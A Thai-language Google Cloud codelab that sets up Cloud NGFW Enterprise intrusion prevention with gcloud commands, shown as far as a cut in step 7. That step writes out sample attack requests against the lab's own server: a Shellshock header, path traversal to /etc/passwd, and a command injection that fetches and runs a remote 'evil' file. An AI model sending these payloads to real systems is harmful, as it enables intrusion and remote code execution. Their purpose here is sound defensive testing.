1. บทนำ
ไฟร์วอลล์รุ่นใหม่บนระบบคลาวด์ (NGFW)
Cloud Next Generation Firewall เป็นบริการไฟร์วอลล์แบบกระจายอย่างเต็มรูปแบบที่มีความสามารถในการป้องกันขั้นสูง การแบ่งส่วนย่อย และความครอบคลุมที่กว้างขวางเพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก
Cloud NGFW มีประโยชน์ดังนี้
- บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้แบบมีสถานะที่อิงตามโฮสต์แบบกระจายอย่างเต็มรูปแบบในแต่ละภาระงานเพื่อเปิดใช้สถาปัตยกรรมการรักษาความปลอดภัยแบบ Zero Trust
- การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW จะใช้นโยบายเครือข่ายและนโยบายไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นทรัพยากรได้ นโยบายเหล่านี้มอบประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
- การควบคุมแบบละเอียดและการแบ่งส่วนย่อย: การผสมผสานระหว่างนโยบายไฟร์วอลล์และแท็กที่ควบคุมโดยการจัดการข้อมูลประจำตัวและการเข้าถึง (IAM) ช่วยให้ควบคุมการรับส่งข้อมูลทั้งแบบเหนือ-ใต้และแบบตะวันออก-ตะวันตกได้อย่างละเอียดจนถึงระดับ VM เดียวในเครือข่าย Virtual Private Cloud (VPC) และองค์กร
Cloud NGFW พร้อมให้บริการในระดับต่อไปนี้
- ข้อควรทราบเกี่ยวกับ Cloud Next Generation Firewall
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise เพิ่มบริการป้องกันการบุกรุก (IPS) ซึ่งเป็นความสามารถของเลเยอร์ 7 ลงในโครงสร้าง Google Cloud Firewall แบบกระจาย ระบบรองรับการตรวจสอบ TLS เพื่ออนุญาตการตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS แต่จะอยู่นอกขอบเขตของ Codelab นี้ (ดู Cloud NGFW Enterprise Codelab ที่มีการตรวจสอบ TLS)
ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบไฟร์วอลล์รุ่นใหม่ (NGFW) เลเยอร์ 7 ที่เชื่อถือได้พร้อมการควบคุมแบบละเอียดโดยไม่ต้องทำการเปลี่ยนแปลงสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง
หากต้องการเปิดใช้งานและติดตั้งใช้งานการควบคุมไฟร์วอลล์เลเยอร์ 7 ด้วย IPS คุณต้องทําสิ่งต่อไปนี้
- สร้างชุดของปลายทางไฟร์วอลล์ระดับโซนที่จัดการโดย Google Cloud
- สร้างนโยบายการตรวจสอบ TLS (ไม่ครอบคลุมในโค้ดแล็บนี้)
- สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่ครอบคลุมในโค้ดแล็บนี้)
- เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการใช้บริการ Cloud NGFW Enterprise
- ทำการเปลี่ยนแปลงนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่เล็กน้อยเพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ
นโยบายไฟร์วอลล์เครือข่าย
นโยบายไฟร์วอลล์เครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์เครือข่ายจะไม่มีผลที่ใดจนกว่าจะมีการเชื่อมโยงนโยบายกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายสามารถมีนโยบายไฟร์วอลล์เครือข่ายที่เชื่อมโยงได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเพียงแค่แท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุตัวตนให้กับภาระงานได้
การแชร์นโยบายไฟร์วอลล์เครือข่ายในเครือข่ายต่างๆ และการผสานรวมกับแท็กที่ควบคุมโดย IAM จะช่วยลดความซับซ้อนในการกำหนดค่าและการจัดการไฟร์วอลล์ได้อย่างมาก
เมื่อเปิดตัวนโยบายไฟร์วอลล์เครือข่าย นโยบายไฟร์วอลล์ของ Google Cloud จึงประกอบด้วยคอมโพเนนต์ต่อไปนี้
- นโยบายไฟร์วอลล์แบบลำดับชั้น
- กฎไฟร์วอลล์ VPC
- นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและระดับภูมิภาค)
ระบบรองรับนโยบายไฟร์วอลล์แบบลำดับชั้นที่โหนดองค์กรและโฟลเดอร์ภายในลำดับชั้นทรัพยากร ในขณะที่กฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์เครือข่ายจะใช้ในระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายคือ กฎไฟร์วอลล์ VPC ใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ในขณะที่นโยบายไฟร์วอลล์เครือข่ายสามารถแนบกับ VPC เดียวหรือกลุ่ม VPC ได้ นอกเหนือจากประโยชน์อื่นๆ เช่น การอัปเดตแบบเป็นชุด
สุดท้ายนี้ เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทุกเครือข่ายด้วย
- กฎขาออกที่มีการดำเนินการเป็นอนุญาต ปลายทางเป็น 0.0.0.0/0
- กฎขาเข้าที่มีการดำเนินการเป็นปฏิเสธและแหล่งที่มาเป็น 0.0.0.0/0
โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

โปรดทราบว่าสามารถสลับลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC กับนโยบายไฟร์วอลล์เครือข่ายส่วนกลางได้ ลูกค้าสามารถระบุลำดับการบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud
แท็กที่ควบคุมโดย IAM
แท็กใหม่ที่ผสานรวมในกฎนโยบายไฟร์วอลล์ของเครือข่ายคือทรัพยากรคู่คีย์-ค่าที่กำหนดไว้ที่ระดับองค์กรหรือระดับโปรเจ็กต์ของลำดับชั้นทรัพยากรของ Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ตามชื่อที่ระบุว่าใครทำอะไรในแท็กได้บ้าง เช่น สิทธิ์ IAM ช่วยให้ระบุได้ว่าผู้ใช้รายใดสามารถกำหนดค่าให้กับแท็ก และผู้ใช้รายใดสามารถแนบแท็กกับทรัพยากรได้ เมื่อใช้แท็กกับทรัพยากรแล้ว กฎไฟร์วอลล์เครือข่ายจะใช้แท็กดังกล่าวเพื่ออนุญาตและปฏิเสธการรับส่งข้อมูลได้
แท็กเป็นไปตามโมเดลทรัพยากรการรับช่วงของ Google Cloud ซึ่งหมายความว่าระบบจะส่งแท็กและค่าของแท็กผ่านลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ ระบบจึงอาจสร้างแท็กในที่เดียว แล้วโฟลเดอร์และโปรเจ็กต์อื่นๆ จะใช้แท็กนั้นได้ทั่วทั้งลำดับชั้นของทรัพยากร ดูรายละเอียดเกี่ยวกับแท็กและการจำกัดการเข้าถึงได้ที่หน้านี้
อย่าสับสนระหว่างแท็กกับแท็กเครือข่าย ส่วนหลังคือสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ โดยจะเชื่อมโยงกับอินสแตนซ์และหายไปเมื่อเลิกใช้งานอินสแตนซ์ กฎไฟร์วอลล์ VPC อาจมีแท็กเครือข่าย แต่เนื่องจากไม่ได้ถือว่าเป็นทรัพยากรระบบคลาวด์ จึงไม่อยู่ภายใต้การควบคุมการเข้าถึง IAM
โปรดทราบว่าเอกสารนี้ใช้แท็กและแท็กที่ควบคุมโดย IAM สลับกัน
สิ่งที่คุณจะสร้าง
Codelab นี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC ที่มีการเชื่อมต่อสาธารณะ และจะแสดงให้เห็นว่า Cloud NGFW Enterprise สามารถมอบฟังก์ชัน IPS ได้อย่างไรโดยการดำเนินการต่อไปนี้
- การตรวจสอบโฟลว์ภายใน VPC/ซับเน็ต [ตะวันออก-ตะวันตก]
- การตรวจสอบการไหลเข้าจากอินเทอร์เน็ต [เหนือ-ใต้]
ระบบจะเลือกโฟลว์ที่จะตรวจสอบโดยใช้พารามิเตอร์ที่ตรงกันของไฟร์วอลล์ Cloud ซึ่งรวมถึง 5-tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก Codelab นี้ไม่มีการตรวจสอบ TLS

ฐานกฎนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง
ลำดับความสำคัญ | ทิศทาง | Target | แหล่งที่มา | ปลายทาง | การดำเนินการ | ประเภท |
100 | ขาออก | Quarantine_Tag | ตามแต่ละประเทศ | ตามแต่ละประเทศ | ปฏิเสธ | Essentials |
1000 | ขาเข้า | Server_Tag | ช่วงการตรวจสอบประสิทธิภาพการทำงาน | ตามแต่ละประเทศ | อนุญาต | Essentials |
2000 | ขาเข้า | ตามแต่ละประเทศ | ช่วง Identity-Aware Proxy | ตามแต่ละประเทศ | อนุญาต | Essentials |
3000 | ขาเข้า | ตามแต่ละประเทศ | Geo, GCTI | ตามแต่ละประเทศ | ปฏิเสธ | มาตรฐาน |
4000 | ขาออก | ตามแต่ละประเทศ | ตามแต่ละประเทศ | Geo, GCTI | ปฏิเสธ | มาตรฐาน |
5000 | ขาออก | ตามแต่ละประเทศ | ตามแต่ละประเทศ | FQDN ของการอัปเดตระบบ | อนุญาต | มาตรฐาน |
6000 | ขาเข้า | Server_Tag | 10.0.0.0/24 | ตามแต่ละประเทศ | IPS | Enterprise |
7000 | ขาเข้า | Server_Tag | CloudNAT_IP | ตามแต่ละประเทศ | IPS | Enterprise |
สิ่งที่คุณจะได้เรียนรู้
- วิธีสร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
- วิธีสร้างและใช้แท็กกับนโยบายไฟร์วอลล์เครือข่าย
- วิธีกำหนดค่าและใช้ Intrusion Prevention Service ของ Cloud NGFW Enterprise
สิ่งที่คุณต้องมี
- โปรเจ็กต์ Google Cloud
- ความรู้เกี่ยวกับการติดตั้งใช้งานอินสแตนซ์และการกำหนดค่าคอมโพเนนต์เครือข่าย
- ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC
2. ก่อนเริ่มต้น
สร้าง/อัปเดตตัวแปร
Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell
ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลภายในวงเล็บตามที่จำเป็น (ข้ามการตั้งค่าโปรเจ็กต์หากตั้งค่าโปรเจ็กต์ที่ต้องการไว้แล้ว) ระบบจะใช้ตัวแปรอื่นสำหรับทรัพยากรระดับองค์กรหากจำเป็นต้องใช้หลายรายการ เช่น จุดปลายไฟร์วอลล์
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. เปิดใช้ API
เปิดใช้ API หากยังไม่ได้ดำเนินการ
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. โปรไฟล์ความปลอดภัยของ Cloud NGFW Enterprise และการสร้างปลายทาง
เนื่องจากการสร้างปลายทางของ Cloud NGFW Enterprise ใช้เวลาประมาณ 20 นาที ระบบจึงจะสร้างปลายทางก่อน และคุณสามารถทำการตั้งค่าพื้นฐานไปพร้อมๆ กันในขณะที่ระบบสร้างปลายทาง
สร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
ผลลัพธ์ที่คาดไว้
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
ยืนยันว่าสร้างทรัพยากรสำเร็จแล้วโดยทำดังนี้
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
ผลลัพธ์ที่คาดไว้
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
สร้างปลายทาง Cloud NGFW Enterprise โดยทำดังนี้
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่าระบบกำลังสร้างปลายทาง (STATE: CREATING)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
กระบวนการสร้างปลายทางจะใช้เวลาประมาณ 20 นาที ไปที่ส่วนการตั้งค่าพื้นฐานเพื่อสร้างทรัพยากรที่จำเป็นควบคู่กันไป
5. การตั้งค่าฐาน
ไปที่ส่วนต่อไปนี้หากต้องการสร้างทรัพยากรพื้นฐานด้วยตนเอง
เครือข่ายและซับเน็ต VPC
เครือข่ายและซับเน็ต VPC
สร้างเครือข่าย VPC และซับเน็ต
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
สร้าง Cloud Router และเกตเวย์ Cloud NAT
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
อินสแตนซ์
สร้างอินสแตนซ์ไคลเอ็นต์และเว็บเซิร์ฟเวอร์
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
แท็กระดับโปรเจ็กต์
มอบหมายสิทธิ์ tagAdmin และ/หรือ tagUser ให้กับผู้ใช้หากจำเป็น โดยทำดังนี้
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
สร้างคีย์และค่าแท็กระดับโปรเจ็กต์
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
เชื่อมโยงแท็กกับอินสแตนซ์
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
นโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
สร้างกฎที่จำเป็นของไฟร์วอลล์ในระบบคลาวด์เพื่อปฏิเสธการรับส่งข้อมูลจากอินสแตนซ์ที่ถูกกักกัน (สร้างขึ้นเป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้) และอนุญาตการรับส่งข้อมูลจากช่วง health-check และ identity-aware proxy
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
สร้างกฎมาตรฐานของ Cloud Firewall เพื่อปฏิเสธการรับส่งข้อมูลขาเข้าและขาออกจาก/ไปยังประเทศที่ถูกคว่ำบาตร, IP ที่เป็นอันตรายที่ทราบ และโหนดทางออกของ ToR รวมถึงอนุญาตเฉพาะการรับส่งข้อมูลขาออกไปยัง FQDN ที่เฉพาะเจาะจงสำหรับการอัปเดตระบบ (สร้างขึ้นเป็นตัวอย่างเท่านั้น ไม่ได้ใช้ในโค้ดแล็บนี้)
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
สร้างกฎไฟร์วอลล์ของ Cloud เพื่ออนุญาตการรับส่งข้อมูลขาเข้าแบบ East-West / ภายในซับเน็ต และ North-South / อินเทอร์เน็ตจากช่วงที่เฉพาะเจาะจง (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise)
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
เชื่อมโยงนโยบายไฟร์วอลล์เครือข่ายกับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
ตัวจัดสรรภาระงานเครือข่าย TCP/UDP ภายนอก
จองที่อยู่ IP ภายนอกและสร้างกลุ่มอินสแตนซ์และการตรวจสอบสถานะ
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
สร้างบริการแบ็กเอนด์และกฎการส่งต่อ
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. การเชื่อมโยงอุปกรณ์ปลายทางขององค์กรกับ Cloud NGFW
กำหนดตัวแปรสภาพแวดล้อมใหม่หากจำเป็น
ยืนยันว่าการสร้างปลายทางไฟร์วอลล์ระบบคลาวด์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่ (ระหว่างการสร้าง สถานะที่คาดไว้คือกำลังสร้าง)
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
ผลลัพธ์ที่คาดไว้ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
เชื่อมโยงปลายทาง Cloud NGFW Enterprise กับเครือข่าย VPC โดยทำดังนี้
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
กระบวนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (สถานะที่คาดไว้คือกำลังสร้างในระหว่างกระบวนการสร้าง)
gcloud network-security firewall-endpoint-associations list
ผลลัพธ์ที่คาดไว้
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
หรือจะเรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติมก็ได้
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
ผลลัพธ์ที่คาดไว้
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. กฎการตรวจสอบระดับองค์กรของ Cloud NGFW
เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรอีกครั้งในแท็บใหม่)
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
กำหนดตัวแปรที่จำเป็นในเซสชัน SSH และตั้งค่าตัวแปร (ตรวจสอบว่าค่าถูกต้อง)
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
เรียกใช้ curl ทั้ง 2 IP เพื่อยืนยันว่าเข้าถึงได้
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
ผลลัพธ์ที่คาดไว้สำหรับคำขอ curl ทั้ง 2 รายการ
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายใน (การรับส่งข้อมูลภายใน / ภายใน VPC) เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมดเพื่อยืนยันว่าไม่มีการตรวจสอบ/ป้องกันที่เลเยอร์ 7
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ส่งการโจมตีตัวอย่างไปยัง IP ของเซิร์ฟเวอร์ภายนอกผ่าน Cloud NAT (การรับส่งข้อมูลขาเข้าจากภายนอก) และในทำนองเดียวกัน เว็บเซิร์ฟเวอร์ควรตอบกลับคำขอทั้งหมด
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
ผลลัพธ์ที่คาดไว้สำหรับทั้ง IP สาธารณะและส่วนตัว
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
เปลี่ยนกลับไปใช้ Cloud Shell และอัปเดตกฎขาเข้าที่มีอยู่เพื่อเปิดใช้การตรวจสอบ L7 โดยทำดังนี้
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
คุณสามารถอธิบายกฎไฟร์วอลล์เพื่อยืนยันว่าทั้ง 2 กฎได้รับการอัปเดตเรียบร้อยแล้ว (ไม่บังคับ)
gcloud compute network-firewall-policies rules describe 6000 \
